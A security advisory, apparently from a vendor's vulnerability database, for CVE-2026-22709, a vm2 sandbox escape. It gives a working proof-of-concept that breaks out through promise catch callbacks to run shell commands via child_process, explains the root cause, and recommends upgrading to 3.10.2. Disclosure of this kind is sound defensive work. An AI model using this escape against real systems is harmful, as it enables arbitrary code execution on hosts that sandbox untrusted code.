CVE-2026-22709

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
    );
    f();
});
`;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-22709 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.10.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-22709? CVE-2026-22709 is a critical-severity code injection vulnerability in vm2 (npm), affecting versions <= 3.10.1. It is fixed in 3.10.2. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-22709? CVE-2026-22709 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vm2 are affected by CVE-2026-22709? vm2 (npm) versions <= 3.10.1 is affected.
4. Is there a fix for CVE-2026-22709? Yes. CVE-2026-22709 is fixed in 3.10.2. Upgrade to this version or later.
5. Is CVE-2026-22709 exploitable, and should I be worried? Whether CVE-2026-22709 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-22709 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-22709? Upgrade vm2 to 3.10.2 or later.